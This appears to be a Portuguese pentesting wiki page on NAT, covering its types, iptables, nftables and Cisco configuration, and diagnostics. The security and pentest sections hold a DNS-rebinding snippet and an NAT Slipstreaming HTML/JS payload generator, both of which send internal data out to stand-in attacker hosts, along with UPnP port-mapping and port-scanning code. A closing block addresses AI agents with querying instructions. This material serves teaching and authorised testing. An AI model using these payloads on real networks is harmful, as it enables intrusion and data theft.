# NAT

## 📋 **Índice**

1. [Fundamentos do NAT](#-fundamentos-do-nat)
2. [Arquitetura e Componentes](#-arquitetura-e-componentes)
3. [Tipos e Variações](#-tipos-e-variações)
4. [Funcionamento Detalhado](#-funcionamento-detalhado)
5. [Implicações de Segurança](#-implicações-de-segurança)
6. [Pentesting e NAT](#-pentesting-e-nat)
7. [Configurações e Implementações](#-configurações-e-implementações)
8. [Troubleshooting e Diagnóstico](#-troubleshooting-e-diagnóstico)

***

## 🔍 **Fundamentos do NAT**

### **O que é NAT?**

O **Network Address Translation (NAT)** é um mecanismo de rede que permite a tradução de endereços IP entre diferentes domínios de rede, possibilitando que dispositivos com endereços privados se comuniquem com redes públicas utilizando um ou poucos endereços públicos.

### **Contexto Histórico e Necessidade**

```yaml
Crise de IPv4:
  - Total de endereços IPv4: 4.294.967.296
  - Endereços utilizáveis: ~3.7 bilhões
  - Dispositivos conectados: > 30 bilhões
  - Solução: NAT + IPv6

Evolução:
  1994: RFC 1631 - Primeira especificação NAT
  1996: RFC 1918 - Definição de endereços privados
  2000: NAT Traversal (NAT-T) para VPNs
  2005: NAT Hairpinning para comunicação interna
  2010: Carrier-Grade NAT (CGNAT) para ISPs
```

### **Arquitetura de Endereços**

```
🌍 Internet (Público)
    ↑
    | 200.100.50.25 (IP Público Único)
    ↓
┌─────────────────────────┐
│    Roteador/Firewall    │
│      (NAT Gateway)      │
└─────────────────────────┘
    ↓
🏠 Rede Interna (Privada)
    ├── 192.168.1.10   (PC1)
    ├── 192.168.1.20   (PC2)  
    ├── 192.168.1.30   (Servidor)
    └── 192.168.1.40   (IoT)
```

### **Benefícios do NAT**

| Benefício                     | Descrição                                                         | Impacto |
| ----------------------------- | ----------------------------------------------------------------- | ------- |
| **Conservação IPv4**          | Múltiplos dispositivos compartilham um IP público                 | Crítico |
| **Flexibilidade**             | Redes internas podem ser reconfiguradas sem afetar acesso externo | Alto    |
| **Segurança por Obscuridade** | Topologia interna oculta da internet                              | Médio   |
| **Gestão Simplificada**       | Pool único de IPs para gerenciar                                  | Alto    |

***

## 🏗️ **Arquitetura e Componentes**

### **Componentes Fundamentais**

#### **1. Tabela NAT**

```python
# Estrutura conceitual da tabela NAT
class NATTable:
    def __init__(self):
        self.entries = []  # Lista de entradas ativas
    
    def add_entry(self, src_ip, src_port, translated_ip, translated_port, dest_ip, dest_port):
        """Adicionar entrada na tabela NAT"""
        entry = {
            'internal_ip': src_ip,
            'internal_port': src_port,
            'external_ip': translated_ip,
            'external_port': translated_port,
            'destination_ip': dest_ip,
            'destination_port': dest_port,
            'protocol': 'TCP/UDP',
            'timeout': self.calculate_timeout(),
            'state': 'ACTIVE'
        }
        self.entries.append(entry)
        return entry
    
    def lookup(self, ext_ip, ext_port, dest_ip, dest_port):
        """Consultar tabela para tradução reversa"""
        for entry in self.entries:
            if (entry['external_ip'] == ext_ip and 
                entry['external_port'] == ext_port and
                entry['destination_ip'] == dest_ip and
                entry['destination_port'] == dest_port):
                return entry['internal_ip'], entry['internal_port']
        return None
```

#### **2. Estados de Conexão NAT**

```mermaid
stateDiagram-v2
    [*] --> NEW: Paciente SYN
    NEW --> ESTABLISHED: SYN-ACK recebido
    ESTABLISHED --> CLOSING: FIN recebido
    CLOSING --> TIMED_WAIT: ACK enviado
    TIMED_WAIT --> [*]: Timeout expirado
    
    NEW --> CLOSING: RST recebido
    ESTABLISHED --> CLOSING: RST recebido
```

### **Modelo OSI e NAT**

| Camada         | Função NAT                      | Exemplo                        |
| -------------- | ------------------------------- | ------------------------------ |
| **Aplicação**  | ALG (Application Layer Gateway) | SIP, FTP, H.323                |
| **Transporte** | Modificação de portas           | PAT (Port Address Translation) |
| **Rede**       | Modificação de IPs              | Source NAT, Destination NAT    |
| **Enlace**     | Transparente                    | Não modificado                 |

***

## 🎯 **Tipos e Variações**

### **1. Source NAT (SNAT)**

```bash
# Transforma IP de origem dos pacotes que saem da rede
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j SNAT --to-source 200.100.50.25

# Com múltiplos IPs
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j SNAT --to-source 200.100.50.25-200.100.50.30
```

### **2. Destination NAT (DNAT)**

```bash
# Redireciona tráfego externo para servidor interno
iptables -t nat -A PREROUTING -d 200.100.50.25 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:80

# Port forwarding
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.1.100:443
```

### **3. Port Address Translation (PAT)**

```python
# Exemplo de PAT - Múltiplos clientes compartilhando um IP
pat_mapping = {
    '192.168.1.10:12345': {
        'public_ip': '200.100.50.25',
        'public_port': 50001,
        'destination': '8.8.8.8:53'
    },
    '192.168.1.20:12345': {
        'public_ip': '200.100.50.25',
        'public_port': 50002,
        'destination': '8.8.8.8:53'
    },
    '192.168.1.30:54321': {
        'public_ip': '200.100.50.25',
        'public_port': 50003,
        'destination': '1.1.1.1:443'
    }
}
```

### **4. NAT Traversal (NAT-T)**

```python
# Detecção de NAT para VPN/IPsec
import socket
import struct

def detect_nat_type():
    """Detectar tipo de NAT (STUN-like)"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(2)
    
    # Enviar requisição para servidor STUN
    stun_server = ('stun.l.google.com', 19302)
    binding_request = b'\x00\x01\x00\x00\x21\x12\xa4\x42'  # STUN Binding Request
    
    sock.sendto(binding_request, stun_server)
    
    try:
        data, addr = sock.recvfrom(1024)
        # Analisar resposta para determinar tipo de NAT
        return analyze_stun_response(data)
    except socket.timeout:
        return "NAT_TYPE_UNKNOWN"
    finally:
        sock.close()
```

### **5. Carrier-Grade NAT (CGNAT)**

```yaml
CGNAT (RFC 6598):
  Endereços: 100.64.0.0/10
  Camadas:
    - Cliente → CPE: 192.168.x.x
    - CPE → ISP: 100.64.x.x
    - ISP → Internet: IP público compartilhado
  
  Limitações:
    - Porta de entrada bloqueadas
    - Jogos P2P afetados
    - Port forwarding impossível
    - Logs obrigatórios por lei
```

### **Comparação entre Tipos**

| Tipo            | Uso                 | Endereços | Persistência | Complexidade |
| --------------- | ------------------- | --------- | ------------ | ------------ |
| **Static NAT**  | Servidores          | 1:1       | Permanente   | Baixa        |
| **Dynamic NAT** | Pool de usuários    | M:N       | Temporária   | Média        |
| **PAT**         | Usuários domésticos | N:1       | Temporária   | Baixa        |
| **CGNAT**       | ISPs                | N:N       | Temporária   | Alta         |

***

## ⚙️ **Funcionamento Detalhado**

### **Fluxo Completo de Comunicação**

```mermaid
sequenceDiagram
    participant C as Cliente (192.168.1.10)
    participant R as Roteador NAT (200.100.50.25)
    participant S as Servidor (8.8.8.8)

    Note over C,R: FASE 1: Requisição
    C->>R: Pacote: 192.168.1.10:54321 → 8.8.8.8:80
    R->>R: Consulta tabela NAT
    R->>R: Cria entrada (54321 → 60001)
    R->>S: Pacote: 200.100.50.25:60001 → 8.8.8.8:80
    
    Note over R,S: FASE 2: Processamento
    S->>S: Processa requisição
    
    Note over R,S: FASE 3: Resposta
    S->>R: Pacote: 8.8.8.8:80 → 200.100.50.25:60001
    R->>R: Consulta tabela NAT reversa
    R->>C: Pacote: 8.8.8.8:80 → 192.168.1.10:54321
```

### **Algoritmo de Tradução**

```python
#!/usr/bin/env python3
# nat_algorithm.py

import ipaddress
import random
import time
from typing import Tuple, Optional
from dataclasses import dataclass
from enum import Enum

class NATState(Enum):
    NEW = "NEW"
    ESTABLISHED = "ESTABLISHED"
    CLOSING = "CLOSING"
    TIMED_WAIT = "TIMED_WAIT"

@dataclass
class NATEntry:
    internal_ip: str
    internal_port: int
    external_ip: str
    external_port: int
    dest_ip: str
    dest_port: int
    protocol: str
    state: NATState
    timestamp: float
    timeout: int

class NATGateway:
    def __init__(self, public_ips: list, private_subnets: list):
        self.public_ips = public_ips
        self.private_subnets = [ipaddress.ip_network(subnet) for subnet in private_subnets]
        self.translation_table = []
        self.port_range_start = 10000
        self.port_range_end = 60000
        self.used_ports = {}
    
    def is_private_ip(self, ip: str) -> bool:
        """Verificar se IP é privado"""
        ip_obj = ipaddress.ip_address(ip)
        for subnet in self.private_subnets:
            if ip_obj in subnet:
                return True
        return False
    
    def allocate_port(self, public_ip: str) -> int:
        """Alocar porta disponível"""
        if public_ip not in self.used_ports:
            self.used_ports[public_ip] = set()
        
        # Buscar porta não utilizada
        for port in range(self.port_range_start, self.port_range_end):
            if port not in self.used_ports[public_ip]:
                self.used_ports[public_ip].add(port)
                return port
        
        raise Exception("No available ports")
    
    def translate_outbound(self, packet: dict) -> dict:
        """Tradução de pacotes de saída (SNAT)"""
        src_ip = packet['src_ip']
        src_port = packet['src_port']
        dest_ip = packet['dest_ip']
        dest_port = packet['dest_port']
        
        # Verificar se origem é privada
        if not self.is_private_ip(src_ip):
            return packet
        
        # Criar entrada NAT
        public_ip = random.choice(self.public_ips)
        public_port = self.allocate_port(public_ip)
        
        entry = NATEntry(
            internal_ip=src_ip,
            internal_port=src_port,
            external_ip=public_ip,
            external_port=public_port,
            dest_ip=dest_ip,
            dest_port=dest_port,
            protocol=packet['protocol'],
            state=NATState.NEW,
            timestamp=time.time(),
            timeout=300  # 5 minutos
        )
        
        self.translation_table.append(entry)
        
        # Traduzir pacote
        translated_packet = packet.copy()
        translated_packet['src_ip'] = public_ip
        translated_packet['src_port'] = public_port
        
        return translated_packet
    
    def translate_inbound(self, packet: dict) -> Optional[dict]:
        """Tradução de pacotes de entrada (DNAT)"""
        dest_ip = packet['dest_ip']
        dest_port = packet['dest_port']
        src_ip = packet['src_ip']
        src_port = packet['src_port']
        
        # Buscar entrada correspondente
        for entry in self.translation_table:
            if (entry.external_ip == dest_ip and 
                entry.external_port == dest_port and
                entry.dest_ip == src_ip and
                entry.dest_port == src_port):
                
                # Atualizar estado
                entry.state = NATState.ESTABLISHED
                entry.timestamp = time.time()
                
                # Traduzir pacote
                translated_packet = packet.copy()
                translated_packet['dest_ip'] = entry.internal_ip
                translated_packet['dest_port'] = entry.internal_port
                
                return translated_packet
        
        # Verificar regras de DNAT estáticas (port forwarding)
        static_rule = self.check_static_rules(dest_ip, dest_port)
        if static_rule:
            translated_packet = packet.copy()
            translated_packet['dest_ip'] = static_rule['internal_ip']
            translated_packet['dest_port'] = static_rule['internal_port']
            return translated_packet
        
        return None  # Pacote descartado
    
    def check_static_rules(self, external_ip: str, external_port: int) -> Optional[dict]:
        """Verificar regras de port forwarding"""
        # Regras de exemplo
        rules = {
            (self.public_ips[0], 80): {'internal_ip': '192.168.1.100', 'internal_port': 80},
            (self.public_ips[0], 443): {'internal_ip': '192.168.1.100', 'internal_port': 443},
            (self.public_ips[0], 22): {'internal_ip': '192.168.1.200', 'internal_port': 22}
        }
        
        return rules.get((external_ip, external_port))
    
    def cleanup_expired_entries(self):
        """Limpar entradas expiradas"""
        current_time = time.time()
        self.translation_table = [
            entry for entry in self.translation_table
            if current_time - entry.timestamp < entry.timeout
        ]
        
        # Liberar portas
        for public_ip in self.used_ports:
            # Reconstruir portas em uso
            in_use = {entry.external_port for entry in self.translation_table 
                      if entry.external_ip == public_ip}
            self.used_ports[public_ip] = in_use

# Simulação
if __name__ == "__main__":
    nat = NATGateway(
        public_ips=['200.100.50.25'],
        private_subnets=['192.168.1.0/24', '10.0.0.0/8']
    )
    
    # Pacote de exemplo
    packet = {
        'src_ip': '192.168.1.10',
        'src_port': 54321,
        'dest_ip': '8.8.8.8',
        'dest_port': 80,
        'protocol': 'TCP'
    }
    
    print("Pacote original:", packet)
    
    outbound = nat.translate_outbound(packet)
    print("Pacote traduzido (outbound):", outbound)
    
    # Simular resposta
    response = {
        'src_ip': '8.8.8.8',
        'src_port': 80,
        'dest_ip': '200.100.50.25',
        'dest_port': outbound['src_port'],
        'protocol': 'TCP'
    }
    
    inbound = nat.translate_inbound(response)
    print("Pacote traduzido (inbound):", inbound)
```

### **Tratamento de Protocolos Especiais**

#### **FTP em Modo Ativo**

```python
# ALG para FTP
def ftp_alg(packet):
    """
    FTP Active Mode requer inspeção profunda
    PORT 192,168,1,10,123,45 → PORT 200,100,50,25,123,45
    """
    if packet['protocol'] == 'TCP' and packet['dest_port'] == 21:
        payload = packet['data'].decode()
        if 'PORT' in payload:
            # Modificar comando PORT com IP público
            modified_payload = replace_ip_in_port_command(payload)
            return modified_payload
    return packet
```

***

## 🔒 **Implicações de Segurança**

### **NAT como Mecanismo de Segurança**

#### **Proteções Oferecidas**

```yaml
NAT fornece:
  ✅ Obscurecimento de topologia interna
  ✅ Filtragem de tráfego não solicitado
  ✅ Isolamento de redes privadas
  ✅ Prevenção básica contra scanning direto

NAT não fornece:
  ❌ Autenticação
  ❌ Criptografia
  ❌ Controle de acesso granular
  ❌ Proteção contra malware
```

### **Vulnerabilidades e Limitações**

#### **1. NAT Traversal**

```python
# Técnicas de atravessamento NAT
def nat_traversal_techniques():
    """
    Métodos para atravessar NAT:
    - STUN (Session Traversal Utilities for NAT)
    - TURN (Traversal Using Relays around NAT)
    - ICE (Interactive Connectivity Establishment)
    - UPnP IGD (Universal Plug and Play Internet Gateway Device)
    - NAT-PMP (NAT Port Mapping Protocol)
    """
    
    upnp_exploit = """
    # UPnP vulnerável permite abrir portas
    POST /control/igd/ HTTP/1.1
    SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
    
    <NewPortMapping>
        <NewExternalPort>22</NewExternalPort>
        <NewInternalClient>192.168.1.10</NewInternalClient>
        <NewInternalPort>22</NewInternalPort>
        <NewProtocol>TCP</NewProtocol>
        <NewEnabled>1</NewEnabled>
    </NewPortMapping>
    """
```

#### **2. DNS Rebinding**

```javascript
// Ataque de DNS Rebinding para contornar NAT
function dns_rebinding_attack() {
    // DNS responde com IP público primeiro, depois IP privado
    const script = document.createElement('script');
    script.src = 'http://attacker.com/rebind.js';
    document.head.appendChild(script);
    
    // Após rebinding, acessar roteador interno
    fetch('http://192.168.1.1/admin')
        .then(r => r.text())
        .then(data => exfiltrate(data));
}
```

### **NAT e Firewalls**

| Configuração   | Tráfego Entrada     | Tráfego Saída     | Nível de Segurança |
| -------------- | ------------------- | ----------------- | ------------------ |
| **NAT Apenas** | Bloqueado           | Permitido         | Médio-Baixo        |
| **NAT + SPI**  | Filtrado por estado | Permitido         | Médio              |
| **NAT + ACL**  | Filtrado por regras | Filtrado          | Alto               |
| **NAT + DPI**  | Inspeção profunda   | Inspeção profunda | Muito Alto         |

***

## 🎯 **Pentesting e NAT**

### **Metodologia de Teste**

#### **Fase 1: Descoberta**

```bash
# Identificar presença de NAT
traceroute -n 8.8.8.8
# Saltos com IPs privados indicam NAT

# Verificar IP público
curl ifconfig.me
curl ipinfo.io/ip

# Testar simetria de NAT
nmap -sS -p 1-1000 <public_ip>
# Comparar com mapeamento interno
```

#### **Fase 2: Fingerprinting de NAT**

```python
#!/usr/bin/env python3
# nat_fingerprinter.py

import socket
import time
import threading
from scapy.all import *

class NATFingerprinter:
    def __init__(self, target_ip, local_ip):
        self.target = target_ip
        self.local = local_ip
        self.results = {}
    
    def test_nat_type(self):
        """Determinar tipo de NAT usando STUN-like technique"""
        # Teste 1: Bind a mesma porta de diferentes IPs
        sock1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock1.bind((self.local, 0))
        port1 = sock1.getsockname()[1]
        
        sock2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock2.bind((self.local, 0))
        port2 = sock2.getsockname()[1]
        
        # Enviar pacotes para servidor de teste
        test_server = (self.target, 12345)
        
        sock1.sendto(b"TEST1", test_server)
        sock2.sendto(b"TEST2", test_server)
        
        # Analisar respostas
        responses = []
        for _ in range(2):
            try:
                data, addr = sock1.recvfrom(1024)
                responses.append(addr)
            except socket.timeout:
                pass
        
        # Determinar tipo
        if len(set(responses)) == 1:
            self.results['type'] = 'SYMMETRIC'
        elif len(set(responses)) == 2:
            self.results['type'] = 'FULL_CONE'
        else:
            self.results['type'] = 'RESTRICTED'
        
        sock1.close()
        sock2.close()
    
    def test_port_preservation(self):
        """Testar preservação de porta"""
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.bind((self.local, 0))
        original_port = sock.getsockname()[1]
        
        sock.sendto(b"TEST", (self.target, 12345))
        time.sleep(0.5)
        
        # Tentar receber resposta na mesma porta
        sock.settimeout(2)
        try:
            data, addr = sock.recvfrom(1024)
            self.results['port_preservation'] = True
        except socket.timeout:
            self.results['port_preservation'] = False
        
        sock.close()
    
    def scan_mapped_ports(self):
        """Scanear portas mapeadas via NAT"""
        common_mapped_ports = [22, 80, 443, 3389, 8080]
        open_ports = []
        
        for port in common_mapped_ports:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            result = sock.connect_ex((self.target, port))
            sock.close()
            
            if result == 0:
                open_ports.append(port)
                # Banner grabbing
                banner = self.grab_banner(port)
                self.results[f'port_{port}'] = banner
        
        self.results['open_ports'] = open_ports
    
    def grab_banner(self, port):
        """Coletar banner de serviço"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(3)
            sock.connect((self.target, port))
            
            if port == 80:
                sock.send(b"GET / HTTP/1.0\r\n\r\n")
            elif port == 22:
                banner = sock.recv(1024)
                return banner.decode()
            
            data = sock.recv(1024)
            sock.close()
            return data.decode()[:200]
        except:
            return None
    
    def analyze(self):
        """Executar análise completa"""
        print(f"🔍 Analisando NAT em {self.target}")
        
        self.test_nat_type()
        self.test_port_preservation()
        self.scan_mapped_ports()
        
        return self.results

# Uso
if __name__ == "__main__":
    fingerprinter = NATFingerprinter('200.100.50.25', '192.168.1.10')
    results = fingerprinter.analyze()
    
    print("\n📊 Resultados:")
    print(f"Tipo de NAT: {results.get('type', 'Unknown')}")
    print(f"Preservação de porta: {results.get('port_preservation', False)}")
    print(f"Portas mapeadas: {results.get('open_ports', [])}")
```

#### **Fase 3: Técnicas de Bypass**

**UPnP Exploitation**

```python
# Descoberta UPnP
import requests
import xml.etree.ElementTree as ET

def discover_upnp_devices():
    """Descobrir dispositivos UPnP na rede local"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    sock.settimeout(2)
    
    # M-SEARCH para UPnP
    ssdp_request = (
        "M-SEARCH * HTTP/1.1\r\n"
        "HOST: 239.255.255.250:1900\r\n"
        "MAN: \"ssdp:discover\"\r\n"
        "MX: 3\r\n"
        "ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n\r\n"
    ).encode()
    
    sock.sendto(ssdp_request, ('239.255.255.250', 1900))
    
    devices = []
    for _ in range(10):
        try:
            data, addr = sock.recvfrom(1024)
            devices.append({'ip': addr[0], 'data': data.decode()})
        except socket.timeout:
            break
    
    return devices

def add_upnp_port_mapping(gateway_ip, external_port, internal_ip, internal_port):
    """Adicionar mapeamento de porta via UPnP"""
    # URL do controle UPnP
    control_url = f"http://{gateway_ip}:5000/control/igd"
    
    soap_request = f"""<?xml version="1.0"?>
    <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
        s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <s:Body>
            <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
                <NewRemoteHost></NewRemoteHost>
                <NewExternalPort>{external_port}</NewExternalPort>
                <NewProtocol>TCP</NewProtocol>
                <NewInternalPort>{internal_port}</NewInternalPort>
                <NewInternalClient>{internal_ip}</NewInternalClient>
                <NewEnabled>1</NewEnabled>
                <NewPortMappingDescription>Pentest</NewPortMappingDescription>
                <NewLeaseDuration>0</NewLeaseDuration>
            </u:AddPortMapping>
        </s:Body>
    </s:Envelope>"""
    
    headers = {
        'SOAPAction': '"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"',
        'Content-Type': 'text/xml; charset="utf-8"'
    }
    
    response = requests.post(control_url, data=soap_request, headers=headers)
    return response.status_code == 200
```

**NAT Slipstreaming**

```python
# Técnica de NAT Slipstreaming (CVE-2020-12695)
def nat_slipstreaming_attack(target_ip, target_port):
    """
    Contorna NAT usando SIP ALG e JavaScript
    Permite acesso a portas internas via navegador
    """
    payload = f"""
    <!DOCTYPE html>
    <html>
    <body>
    <script>
    // Forçar SIP ALG a abrir porta
    const sipPacket = "INVITE sip:{target_ip}:{target_port} SIP/2.0\\r\\n" +
                     "Via: SIP/2.0/UDP {attacker_ip}:5060;branch=z9hG4bK-123\\r\\n" +
                     "From: <sip:attacker@evil.com>;tag=123\\r\\n" +
                     "To: <sip:target@{target_ip}>\\r\\n" +
                     "Call-ID: {call_id}\\r\\n" +
                     "CSeq: 1 INVITE\\r\\n\\r\\n";
    
    // Enviar via WebSocket ou fetch
    fetch('http://{target_ip}:5060', {{
        method: 'POST',
        body: sipPacket
    }});
    
    // Após ALG abrir porta, acessar serviço interno
    setTimeout(() => {{
        fetch('http://{target_ip}:{target_port}')
            .then(r => r.text())
            .then(data => exfiltrate(data));
    }}, 2000);
    </script>
    </body>
    </html>
    """
    return payload
```

### **Evidências de NAT em Pentests**

| Indicador                      | Descrição                              | Nível de Confiança |
| ------------------------------ | -------------------------------------- | ------------------ |
| **TTL Inconsistente**          | TTL inicial diferente do esperado      | Alto               |
| **IPs RFC 1918 em traceroute** | Saltos intermediários com IPs privados | Muito Alto         |
| **Portas inconsistentes**      | Porta origem diferente da enviada      | Médio              |
| **Timeouts simétricos**        | Padrões de timeout indicando NAT       | Médio              |
| **UPnP descoberto**            | Gateway UPnP IGD presente              | Alto               |

***

## 🛠️ **Configurações e Implementações**

### **Linux (iptables/nftables)**

#### **NAT com iptables**

```bash
#!/bin/bash
# configurar_nat.sh

# Habilitar IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Limpar regras existentes
iptables -t nat -F
iptables -t filter -F

# Configurar SNAT (MASQUERADE)
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j SNAT --to-source 200.100.50.25

# Configurar DNAT (Port Forwarding)
iptables -t nat -A PREROUTING -d 200.100.50.25 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:80
iptables -t nat -A PREROUTING -d 200.100.50.25 -p tcp --dport 443 -j DNAT --to-destination 192.168.1.100:443

# Configurar regras de firewall
iptables -A FORWARD -i eth0 -o eth1 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT

# Logging de tráfego NAT
iptables -t nat -A POSTROUTING -j LOG --log-prefix "NAT_OUT: "
```

#### **NAT com nftables (Moderno)**

```bash
#!/bin/bash
# configurar_nat_nftables.sh

# Criar tabela NAT
nft add table nat

# Criar chains
nft add chain nat prerouting { type nat hook prerouting priority -100\; }
nft add chain nat postrouting { type nat hook postrouting priority 100\; }

# Configurar MASQUERADE
nft add rule nat postrouting oif eth0 masquerade

# Configurar Port Forwarding
nft add rule nat prerouting iif eth0 tcp dport 80 dnat to 192.168.1.100
nft add rule nat prerouting iif eth0 tcp dport 443 dnat to 192.168.1.100

# Listar regras
nft list ruleset
```

### **Windows (RRAS)**

```powershell
# Configurar NAT no Windows Server
Install-WindowsFeature -Name Routing -IncludeManagementTools

# Configurar NAT
netsh routing ip nat add interface "Internal" mode=full
netsh routing ip nat add interface "External" mode=full

# Adicionar regras de port forwarding
netsh routing ip nat add portmapping "External" tcp 80 192.168.1.100 80

# Verificar configuração
netsh routing ip nat show interface
```

### **Cisco IOS**

```cisco
! Configurar NAT em roteador Cisco
interface GigabitEthernet0/0
 ip address 192.168.1.1 255.255.255.0
 ip nat inside
!

interface GigabitEthernet0/1
 ip address 200.100.50.25 255.255.255.0
 ip nat outside
!

! Configurar ACL para tráfego NAT
access-list 100 permit ip 192.168.1.0 0.0.0.255 any

! Configurar NAT overload (PAT)
ip nat inside source list 100 interface GigabitEthernet0/1 overload

! Configurar Static NAT
ip nat inside source static tcp 192.168.1.100 80 200.100.50.25 80

! Verificar configuração
show ip nat translations
show ip nat statistics
```

### **PFSense/OPNsense (GUI)**

```yaml
# Configuração via Web Interface
NAT Rules:
  - Outbound NAT:
      Mode: Hybrid
      Rules:
        - Interface: WAN
          Source: LAN net
          Translation: Interface Address
          
  - Port Forward:
      Interface: WAN
      Protocol: TCP
      Destination: WAN address
      Destination Port: 80
      Redirect Target: 192.168.1.100
      Redirect Port: 80
      
  - 1:1 NAT:
      External IP: 200.100.50.26
      Internal IP: 192.168.1.200
      Description: DMZ Server
```

### **UPnP e NAT-PMP**

```python
# Desabilitar UPnP (recomendado por segurança)
def disable_upnp():
    """Desabilitar UPnP no roteador via script"""
    # Exemplo para roteadores comuns
    endpoints = [
        "http://192.168.1.1/upnp/control/igd",
        "http://192.168.1.1:5000/control/igd"
    ]
    
    for endpoint in endpoints:
        try:
            requests.post(endpoint, 
                data="<s:Envelope>...</s:Envelope>",
                headers={"SOAPAction": "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"})
        except:
            pass
```

***

## 🔍 **Troubleshooting e Diagnóstico**

### **Ferramentas de Diagnóstico**

#### **1. Análise de Tabela NAT**

```bash
# Linux
cat /proc/net/ip_conntrack | grep -i nat
conntrack -L -p tcp

# Ver estatísticas
netstat -s | grep -i nat
nstat -a | grep -i nat

# Monitor em tempo real
watch -n 1 'cat /proc/net/ip_conntrack | grep -i nat | wc -l'
```

#### **2. Verificação de Conexões**

```python
#!/usr/bin/env python3
# nat_diagnostics.py

import socket
import subprocess
import json

def get_public_ip():
    """Obter IP público"""
    try:
        import requests
        return requests.get('https://api.ipify.org').text
    except:
        return subprocess.getoutput('curl -s ifconfig.me')

def test_connectivity(host, port=80):
    """Testar conectividade"""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        result = sock.connect_ex((host, port))
        sock.close()
        return result == 0
    except:
        return False

def get_nat_entries_linux():
    """Obter entradas NAT em Linux"""
    try:
        output = subprocess.getoutput('conntrack -L -p tcp')
        entries = []
        for line in output.split('\n'):
            if 'NAT' in line:
                entries.append(line)
        return entries
    except:
        return []

def diagnose_nat():
    """Diagnosticar configuração NAT"""
    results = {
        'public_ip': get_public_ip(),
        'local_ip': socket.gethostbyname(socket.gethostname()),
        'connectivity': {}
    }
    
    # Testar conectividade externa
    test_hosts = ['8.8.8.8', '1.1.1.1', 'google.com']
    for host in test_hosts:
        results['connectivity'][host] = test_connectivity(host)
    
    # Verificar NAT type
    try:
        # STUN test
        import stun
        nat_type, external_ip, external_port = stun.get_ip_info()
        results['nat_type'] = nat_type
        results['external_info'] = {
            'ip': external_ip,
            'port': external_port
        }
    except:
        results['nat_type'] = 'Unknown'
    
    # Verificar UPnP
    try:
        import miniupnpc
        upnp = miniupnpc.UPnP()
        upnp.discover()
        upnp.selectigd()
        results['upnp'] = {
            'discovered': True,
            'gateway': upnp.lanaddr,
            'external_ip': upnp.externalipaddress()
        }
    except:
        results['upnp'] = {'discovered': False}
    
    return results

if __name__ == "__main__":
    results = diagnose_nat()
    print(json.dumps(results, indent=2))
```

### **Problemas Comuns e Soluções**

| Problema                                 | Causa               | Solução                            |
| ---------------------------------------- | ------------------- | ---------------------------------- |
| **Port forwarding não funciona**         | Firewall bloqueando | Verificar regras de firewall       |
| **Conexões P2P lentas**                  | NAT restritivo      | Configurar UPnP ou port forwarding |
| **VoIP com problemas**                   | ALG mal configurado | Desabilitar SIP ALG                |
| **VPN não conecta**                      | NAT-T não suportado | Usar TCP 443 ou SSTP               |
| **Servidor externo acessa porta errada** | PAT conflitante     | Verificar mapeamento de portas     |

### **Logging e Monitoramento**

```bash
# Logging de NAT no Linux
iptables -t nat -A POSTROUTING -j LOG --log-prefix "NAT_OUT: "
iptables -t nat -A PREROUTING -j LOG --log-prefix "NAT_IN: "

# Monitor com rsyslog
echo 'kern.warning /var/log/nat.log' >> /etc/rsyslog.conf
systemctl restart rsyslog

# Analisar logs
tail -f /var/log/nat.log | grep "NAT_OUT"
```

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
NAT é um protocolo fundamental que:
  - Permite conservação de endereços IPv4
  - Adiciona camada de segurança por obscuridade
  - Complexifica comunicação P2P e VPNs
  - Requer configuração cuidadosa para serviços expostos
```

### **Boas Práticas de Segurança**

1. **Configuração Mínima**
   * Apenas regras NAT necessárias
   * Desabilitar UPnP em redes corporativas
   * Utilizar DMZ apenas quando absolutamente necessário
2. **Monitoramento**
   * Registrar todas as traduções NAT
   * Alertar sobre mapeamentos incomuns
   * Auditar periodicamente regras de port forwarding
3. **Para Pentesters**
   * Sempre verificar presença de NAT
   * Testar UPnP como vetor de ataque
   * Considerar NAT Slipstreaming em testes
   * Documentar tipo de NAT e limitações

### **Futuro do NAT**

```yaml
IPv6 e NAT:
  - IPv6 elimina necessidade de NAT
  - NAT64 para transição IPv4-IPv6
  - NPTv6 (Network Prefix Translation) para privacidade
  
Tendências:
  - Carrier-Grade NAT crescente
  - NAT em ambientes cloud
  - SD-WAN com NAT dinâmico
  - Zero Trust substituindo NAT como segurança
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/protocolos-de-rede/nat.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
